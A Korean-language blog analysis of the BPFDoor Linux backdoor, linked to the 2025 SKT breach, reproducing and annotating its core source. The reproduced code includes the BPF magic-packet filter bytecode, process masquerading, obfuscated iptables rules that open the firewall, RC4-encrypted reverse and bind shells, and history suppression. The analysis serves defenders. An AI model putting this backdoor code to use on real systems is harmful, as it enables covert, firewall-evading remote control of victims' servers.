4. 프로토콜별 헤더 해석 | IP→TCP/UDP/ICMP → 매직 패킷 위치 계산 |
5. 매직 패킷 확인 | BPF로 1차 필터 / 동일한 구조를 가진 구조체만 잡아도 매직 패킷이 존재하는 것으로 간주함 |
6. 프로세스 데몬화 | 1) 수신 루프 분리 2) 데몬화(세션·TTY 분리) |
7. 프로세스 위장 | argv0·prctl(PR_SET_NAME)를 Postfix master로 변경 |
8. RC4 컨텍스트 준비 | 매직 패킷 pass 값으로 송/수신 스트림 동기화 |
9. logon() 결과 분기 | 리턴값에 따라 동작분기함 0=역접속 / 1=iptables 포워딩 / 2=핑만 |
void packet_loop()
{
int sock, r_len, pid, scli, size_ip, size_tcp; // 소켓·수신 길이·fork PID 등
socklen_t psize;
uchar buff[512]; // 패킷 버퍼(512B)
const struct sniff_ip *ip;
const struct sniff_tcp *tcp;
const struct sniff_udp *udp;
struct magic_packet *mp;
in_addr_t bip;
char *pbuff = NULL;
/* ===== (1) BPF 필터 준비 ===== */
struct sock_fprog filter;
struct sock_filter bpf_code[] = { … }; // 매직패킷이 저장된 부분, 0x7255, 0x5293 서명
filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
filter.filter = bpf_code;
/* ===== (2) Raw 소켓 생성 ===== */
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
return;
/* ===== (3) 필터 부착 ===== */
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER,
&filter, sizeof(filter)) == -1)
return;
/* ===== (4) 무한 수신 루프 ===== */
while (1) {
memset(buff, 0, 512);
r_len = recvfrom(sock, buff, 512, 0, NULL, NULL);
if (r_len < 34) continue;
ip = (struct sniff_ip *)(buff + 14); // Ethernet 헤더(14B) 건너뜀
size_ip = IP_HL(ip) * 4;
if (size_ip < 20) continue;
/* --- (4-1) L4 프로토콜별 파싱 --- */
switch (ip->ip_p) {
case IPPROTO_TCP:
tcp = (struct sniff_tcp *)(buff + 14 + size_ip);
size_tcp = TH_OFF(tcp) * 4;
mp = (struct magic_packet *)(buff + 14 + size_ip + size_tcp);
break;
case IPPROTO_UDP:
udp = (struct sniff_udp *)(ip + 1);
mp = (struct magic_packet *)(udp + 1);
break;
case IPPROTO_ICMP:
pbuff = (char *)(ip + 1);
mp = (struct magic_packet *)(pbuff + 8);
break;
default:
mp = NULL;
}
/* --- (4-2) 매직 패킷 처리 --- */
if (mp) {
bip = (mp->ip == INADDR_NONE) ? ip->ip_src.s_addr : mp->ip;
pid = fork(); // ① 수신·처리 분리
if (pid) {
waitpid(pid, NULL, WNOHANG); // 부모: 좀비 정리
} else {
char sip[20] = {0};
int cmp;
char pname[] = "/usr/libexec/postfix/master";
if (fork()) exit(0); // ② 데몬화
chdir("/");
setsid();
signal(SIGHUP, SIG_DFL);
memset(argv0, 0, strlen(argv0));
strcpy(argv0, pname); // 프로세스명 위장
prctl(PR_SET_NAME, (unsigned long)pname);
rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx); // 송신 RC4
rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx); // 수신 RC4
cmp = logon(mp->pass); // 패스워드 검증
switch (cmp) {
case 1: // "socket"
strcpy(sip, inet_ntoa(ip->ip_src));
getshell(sip, ntohs(((struct sniff_tcp*)(buff+14+size_ip))->th_dport));
break;
case 0: // "justforfun"
scli = try_link(bip, mp->port);
if (scli > 0)
shell(scli, NULL, NULL);
break;
case 2: // 인증 실패
mon(bip, mp->port);
break;
}
exit(0);
}
}
}
close(sock); // 도달 불가이지만 안전 차원
}
packet_loop() 함수에서 정의된 "struct sock_filter bpf_code[]" 에는 공격자의 매직 패킷 식별용 Magic Number가 OpCode 형태로 저장되어 있다. 이러한 유형의 바이트코드는 Classic Berkeley Packet Filter가 OpCode를 커널에 넘길 때 사용하는 1-instuction 구조체 배열이다. (참조> 아래 Kernel.org 링크)
https://www.kernel.org/doc/html/v5.12/networking/filter.html?utm_source=chatgpt.com
Linux Socket Filtering aka Berkeley Packet Filter (BPF) — The Linux Kernel documentation
Introduction Linux Socket Filtering (LSF) is derived from the Berkeley Packet Filter. Though there are some distinct differences between the BSD and Linux Kernel filtering, but when we speak of BPF or LSF in Linux context, we mean the very same mechanism o
www.kernel.org
struct sock_filter bpf_code[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 27, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 5, 0x00000011 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 23, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 19, 20, 0x00007255 },
{ 0x15, 0, 7, 0x00000001 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 17, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x48, 0, 0, 0x00000016 },
{ 0x15, 0, 14, 0x00007255 },
{ 0x50, 0, 0, 0x0000000e },
{ 0x15, 11, 12, 0x00000008 },
{ 0x15, 0, 11, 0x00000006 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 9, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x50, 0, 0, 0x0000001a },
{ 0x54, 0, 0, 0x000000f0 },
{ 0x74, 0, 0, 0x00000002 },
{ 0xc, 0, 0, 0x00000000 },
{ 0x7, 0, 0, 0x00000000 },
{ 0x48, 0, 0, 0x0000000e },
{ 0x15, 0, 1, 0x00005293 },
{ 0x6, 0, 0, 0x0000ffff },
{ 0x6, 0, 0, 0x00000000 },
};
위의 BPF OpCode는 아래 도표와 같은 의미를 가지고 있다.
단계 | 의미 |
(1) 0x00000800 | EtherType = IPv4 |
(2) 0x00000011 | 프로토콜 = UDP (하지만, 후의 코드에서 TCP, ICMP 프로토콜도 별도로 분기하도록 설계됨) |
(3) 0x00001fff | IPv4 fragment offset = 0 -> 조각 패킷은 무시하도록 |
(4) 0x00007255 / 0x00005293 | 페이로드(고정 오프셋)에서 매직 패킷 시그니처 (0x7255 or 0x5293) 검색 |
(5) 0x0000ffff ↔ 0x00000000 | 매직 패킷 시그니처의 비교검증이 성공한다면 return -1 (패킷 수신) 수행, 아니면 return 0 (패킷 드롭) 수행 |
사실, 매직 패킷을 사람이 읽기 쉬운 형태로 코드를 작성해도 유사하게 작동할 것이라고 추측한다. 하지만 이러한 점에는 이유가 있다고 생각된다. 바이트코드는 C코드보다 코드 사이즈가 작고, 특정 OpCode를 세밀하게 작성하기 편하다는 이점이 있으며, 평문으로 드러나는 식별자를 줄여 보안 솔루션/YARA Rule의 탐지에서 은닉하는 것도 가능하기 때문이다.
뿐만 아니라, 바이트코드를 사람이 바로 읽으려면 tcpdump -d, bpftool 등으로 디스어셈블 해야하는 등 소스 없이 바이너리만 보면 분석가 입장에서 의미 파악이 늦어지고, 이는 곧 리버스 엔지니어링 난이도가 증가하는 효과를 가져오기 때문이다.
S2W의 보고서에서는 아래 그림과 같이 BPFDoor 악성코드 버전에 따른 특징을 도표로 만들어 제공하고 있다.
참조-> 2) Detailed Analysis of BPFDoor targeting South Korean Company
본 소스코드의 sock_filter bpf_code[] 구조체에 담긴 매직 패킷은 소스코드 정적 분석 결과, "0x7255", "0x5293"로 확인되었다. 이는 본 게시글에서 분석된 샘플은 TypeA BPFDoor 악성코드임을 강력히 시사하는 바이다.
BPFDoor - getshell() 소스코드 분석
getshell() 함수는 파라미터로 전달받은 ip 주소를 iptables 명령을 사용해 INPUT, 리다이렉트 허용 규칙에 추가한다. 이 과정에서 명령을 실행하기 위해 shell() 함수를 추가 호출하며, 만약 공격자가 암호화된 원격 쉘 세션을 종료하면, 원래 상태로 iptables 규칙을 원상 복구하도록 설계되어 있어 공격자에게 고도로 최적화된 은닉성을 보장한다.
동작 흐름 및 목적
단계 | 설명 | 의미 |
(1) 로컬 포트 확보 | b(&toport) 함수가 42391 ~ 43390 사이의 임의 포트를 바인딩하고 이를 반환하여 sockfd 변수에 저장 | 공격자를 위해 랜덤 지정된 은닉 경유 포트를 생성한다. |
(2) 16진수 값 배열로 은닉된 페이로드 문자열 선언 | iptables의 INPUT, PREROUTING 허용/삭제 규칙을 사전에 정의한다. | 정적 탐지를 회피하고, 난독화 일관성을 유지하기 위해 16진수 값 배열로 페이로드 은닉 -> 난독화 일관성 유지 : ( BPFDoor는 프로세스명, PID, BPF필터 등 모든 고정 문자열을 헥사 배열로 분해해둠 ) |
(3) 공격자의 ip 주소 한정 iptables INPUT 허용 규칙 등록 | 공격자의 ip 주소 한정으로 iptables 허용 규칙으로 등록한다. -> 16진수 값 배열로 은닉된 iptables 명령 구문을 통해 INPUT 명령을 수행 | 내부 방화벽이 있어도 공격자는 안전하게 피해 시스템에 접속 가능 |
(4) 공격자의 패킷 리다이렉션을 위한 iptables 리다이렉트 규칙 추가 | iptables -t nat -A PREROUTING … --dport <fromport> -j REDIRECT --to-ports <toport> | 공격자가 본래 요청한 port ( fromport )로 접속하면, 트래픽이 자동으로 BPFDoor 소켓 ( toport ) 으로 리다이렉션 됨 |
(5) 공격자 접속 수신 | w(sockfd)가 첫 TCP 연결을 받아 새로운 FD (sock)을 반환한다. | 공격자의 접속을 BPFDoor 소켓으로 포트포워딩 완료한 뒤, 쉘 세션을 준비 |
(6) 공격자에게 RC4 암호화 쉘 제공, 쉘 연결 종료 시 iptables 원상복구 | shell(sock, rcmd, dcmd) → RC4 암호화 PTY 셸 생성 세션 종료 시 rcmd / dcmd 실행 |
공격자에게 암호화된 쉘을 제공한다. rcmd, dcmd 를 실행함으로서 iptables의 규칙을 원래대로 복원하여 공격자의 흔적을 자동으로 삭제한다. |
이 소스코드에서 핵심 포인트는, getshell()함수에서 생성되는 BPFDoor 소켓은 공격자 -> BPFDoor 방향 ( 인바운드 )이며, 방화벽 우회를 위해 DNAT/REDIRECT 명령구문을 사용했다는 점, system(rcmd), system(dcmd)를 호출해 iptables 규칙을 원상복구함으로서 공격자의 세션 종료 시 자동으로 흔적을 삭제한다는 점이다.
void getshell(char *ip, int fromport)
{
/* sock : 공격자와 세션이 열린 TCP 소켓을 의미
rcmd : 리다이렉트 규칙 삭제 명령
dcmd : INPUT 허용 규칙 삭제 명령 */
int sock, sockfd, toport; // (1) 소켓 FD 2개와 NAT 대상 포트
char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0}; // iptables 명령 버퍼
/* (2) 16진수 문자열로 은닉된 iptables 명령구문 */
char cmdfmt[] = { // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00};
char rcmdfmt[] = { // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
0x64, 0x00};
char inputfmt[] = { // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00};
char dinputfmt[] = { // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00};
sockfd = b(&toport); // 랜덤 고정 포트 바인드 -> toport 에 기록
if (sockfd == -1) return; // 실패 시 탈출
/* (3) 공격자의 ip 주소 한정 iptables INPUT 허용 규칙 등록 */
snprintf(cmd, sizeof(cmd), inputfmt, ip); // INPUT 허용 규칙 추가
snprintf(dcmd, sizeof(dcmd), dinputfmt, ip); // INPUT 허용 규칙 삭제
system(cmd); // 외부 iptables 실행 -> /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
sleep(1); // 규칙 적용 대기
/* (4) 공격자의 패킷 리다이렉션을 위한 iptables 리다이렉트 규칙 추가 */
memset(cmd, 0, sizeof(cmd));
snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport); // PREROUTING 리다이렉트 추가
snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport); // PREROUTING 리다이렉트 삭제
system(cmd); // 리다이렉트 규칙 추가 -> /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
sleep(1); // 리다이렉트 규칙 적용 대기
/* (5) 공격자의 연결 수락 및 접속 수신 */
sock = w(sockfd); // 공격자의 연결 수락
if( sock < 0 ){
close(sock);
return;
}
/* (6) 공격자에게 RC4 암호화 쉘 제공, 쉘 연결 종료 시 iptables 원상복구 */
shell(sock, rcmd, dcmd);
close(sock); // 세션 종료
}
BPFDoor - shell() 소스코드 분석
단계 | 설명 | 의미 |
(1) iptables 규칙 복원 | system(rcmd), system(dcmd) 실행 | 세션 시작 전에 추가했던 iptables INPUT/PREROUTING 규칙을 제거하여 흔적을 최소화 |
(2) 세션 시그널 전송 | "3458" 이라는 값의 4 byte 데이터를 공격자에게 전송 | BPFDoor가 공격자에게 원격 쉘이 준비되었음을 알리는 마커 Number |
(3) pty/tty 터미널 생성 | open_tty() 함수로 가상 터미널(pty, tty) 생성 시도 만약 실패한 경우 자식 프로세스가 직접 가상 터미널을 지정하여 실행 시도 [ dup(sock, 0/1/2) ] |
|
(4) sub shell 생성 | 자식 프로세스( sub shell ) 에서 /bin/sh 실행하고, 부모 프로세스는 중계 루프로 진입 | argv0을 "qmgr -l -t fifo -u" 형태로 위장하여 ps, top 등의 유틸에서 위장하기 위함 |
(5) RC4 암호화 통신 제어 | 부모 프로세스의 중계 루프에서 cread(), cwrite() 함수 호출, 송/수신 과정을 모두 RC4로 스트리밍함 | EChar( 0x0b )로 시작하는 5 byte 데이터는 가상 터미널 크기 변경 패킷임 |
(6) 세션 종료 처리 | 소켓, PTY 가상터미널을 닫고, waitpid() 함수 호출하여 자식 프로세스 전부 회수 -> vhangup() 함수 호출하여 tty 세션을 깔끔하게 종료시킨다 | 공격자의 세션이 종료되면 완전히 자식 프로세스를 회수하고, 세션을 정리 |
int shell(int sock, char *rcmd, char *dcmd)
{
int subshell;
fd_set fds;
char buf[BUF];
char argx[] = "qmgr -l -t fifo -u"; // ps/top 위장용 커맨드라인
char *argvv[] = {argx, NULL, NULL};
char *envp[MAXENV]; // 히스토리·PATH 오염 방지용 환경
char sh[] = "/bin/sh"; // 실행할 실제 셸
/* envp 0~5 → HOME=/tmp, PS1=..., HISTFILE=/dev/null, ... */
...
envp[6] = NULL; // execve() 종료 표식
/* (1) 이전에 추가했던 iptables 규칙 복원 */
if (rcmd) system(rcmd); // iptables PREROUTING -D ...
if (dcmd) system(dcmd); // iptables INPUT -D ...
/* (2) 세션 시그널 "3459"를 공격자에게 전송 */
write(sock, "3458", 4); // 세션 준비 신호
/* (3) pty, tty 세션 생성 시도 */
if (!open_tty()) { // PTY 열기 실패 시 자식 프로세스가 셸 직접 실행
if (!fork()) {
dup2(sock,0); dup2(sock,1); dup2(sock,2);
execve(sh, argvv, envp); // /bin/sh
}
close(sock);
return 0;
}
/* (4) subshell 생성 */
subshell = fork(); // PTY 성공 -> 셸·중계 분리
if (subshell == 0) { // 자식: 셸 프로세스
close(pty);
ioctl(tty, TIOCSCTTY); // 새 controlling TTY
close(sock);
dup2(tty,0); dup2(tty,1); dup2(tty,2);
execve(sh, argvv, envp); // /bin/sh 실행
}
close(tty); // 부모: 중계 루프 담당
/* (5) RC4 암호화 세션 입출력 */
while (1) {
FD_ZERO(&fds);
FD_SET(pty, &fds); // PTY/SOCK 양방향 select
FD_SET(sock, &fds);
if (select((pty>sock?pty:sock)+1,&fds,NULL,NULL,NULL)<0) break;
if (FD_ISSET(pty,&fds)) { // SHELL -> CLIENT
int cnt = read(pty, buf, BUF);
if (cnt<=0 || cwrite(sock,buf,cnt)<=0) break; // RC4 암호화 전송
}
if (FD_ISSET(sock,&fds)) { // CLIENT -> SHELL
int cnt = cread(sock, buf, BUF); // RC4 복호화
if (cnt<=0) break;
unsigned char *p = memchr(buf, ECHAR, cnt); // 0x0b=resize?
if (p) { // 터미널 창 크기 변경 처리
...
ioctl(pty, TIOCSWINSZ, &ws);
kill(0, SIGWINCH);
...
} else {
if (write(pty, buf, cnt)<=0) break; // 일반 입력
}
}
}
/* 세션 종료 처리 */
close(sock); close(pty);
waitpid(subshell, NULL, 0); // 좀비 프로세스 생성 방지
vhangup(); // TTY 세션 정리
exit(0); // 부모 프로세스 종료
}
shell() 함수에서 흥미로운 부분은 몇가지가 있는 것 같다.
흥미로운 부분 | 목적 |
argx[] = "qmgr -l -t fifo -u" | 프로세스 이름을 Postfix의 큐 관리 데몬으로 위장하여 ps, top 등의 프로세스 관리 유틸에서 정상 프로세스로 위장 시도 |
환경변수를 /dev/null 로 지정 | "HISTFILE=/dev/null", "MYSQL_HISTFILE=/dev/null" 과 같이 /dev/null 로 지정함으로서 공격자가 수행한 쉘에서의 기록이 남지 않도록 설계하였음 |
RC4 암호화 및 복호화 | cread(), cwrite() wrapper를 사용하여 공격자의 트래픽이 XOR 스트림으로 암호화되어 전송됨 |
iptables 규칙 삭제 | getshell()에서 생성했던 iptables의 허용 및 포트포워딩 규칙을 원상 복구 (..? 왜 이러는건지는 이해가 안감..) |
이외에도 분석 대상 소스코드에 w(), b(), to_open(), open_tty(), cread/cwrite() 등 다양함 부가 함수가 존재한다. 이미 main(), process_loop(), getshell(), shell() 등 이미 BPFDoor에서 핵심 기능을 담당하는 부분을 분석하여 작성했으며.. 무엇보다 이 분석 과정에서 무려 밤새 장정 11시간을 달려 분석했기 때문에.. 색다른 샘플을 분석하는 것도 즐겁지만 이제 좀 휴식해야할 것 같다.
이 분석 보고서는 시간이 나서 추가적으로 분석한 내용이 있거나, 개요에 소개했듯이 이번 skt 해킹 사고에 사용된 샘플들의 수집이 완료되면 더 완벽한 내용의 분석 보고서로 작성해보자 한다.
참조 및 참고 문헌
Source Code
https://github.com/gwillgues/BPFDoor
GitHub - gwillgues/BPFDoor: BPFDoor Source Code. Originally found from Chinese Threat Actor Red Menshen
BPFDoor Source Code. Originally found from Chinese Threat Actor Red Menshen - gwillgues/BPFDoor
github.com
1) 2025 SKT 해킹 사건 정리 (g2h)
2) Detailed Analysis of BPFDoor targeting South Korea Company (S2W)
3) BPFDoor 악성코드 분석 및 안랩 대응 현황 (Ahnlab)
4) BPF 필터를 악용하는 BPFDoor 리눅스 악성코드 주의! (Alyac blog)
5) 최근 해킹 공격에 악용된 BPFDoor, KISA 공지
6) 해시에 대한 안랩 탐지 정보 (Ahnlab asec)
7) AhnLab EDR을 활용한 BPFDoor 리눅스 악성코드 탐지 (Ahnlab asec)
8) 최근 해킹공격에 악용된 악성코드, IP 등 위협정보 공유 및 주의 안내 (KISA)
9) BPFDoor 악성코드
10) Linux Socket Filtering aka Berkeley Packet Filter (BPF)
'Security > 악성코드분석보고서' 카테고리의 다른 글
x32Dbg를 활용한 Amadey Bot 악성코드 심층 분석 - Part1_[ PE Section 언패킹 및 payload 추출 ] (0) | 2025.06.13 |
---|---|
BPFDoor 악성코드 분석 보고서 (0) | 2025.06.05 |
악성 JPEG 파일에서 추출된 njRAT 악성코드 분석 보고서 (0) | 2025.06.01 |
FridayBotRaid Client를 내포한 JPEG 폴리글롯 악성코드 분석 보고서 (0) | 2025.06.01 |
EXIF 메타데이터에 PHP WebShell을 은닉한 JPEG 악성코드 분석 (0) | 2025.05.29 |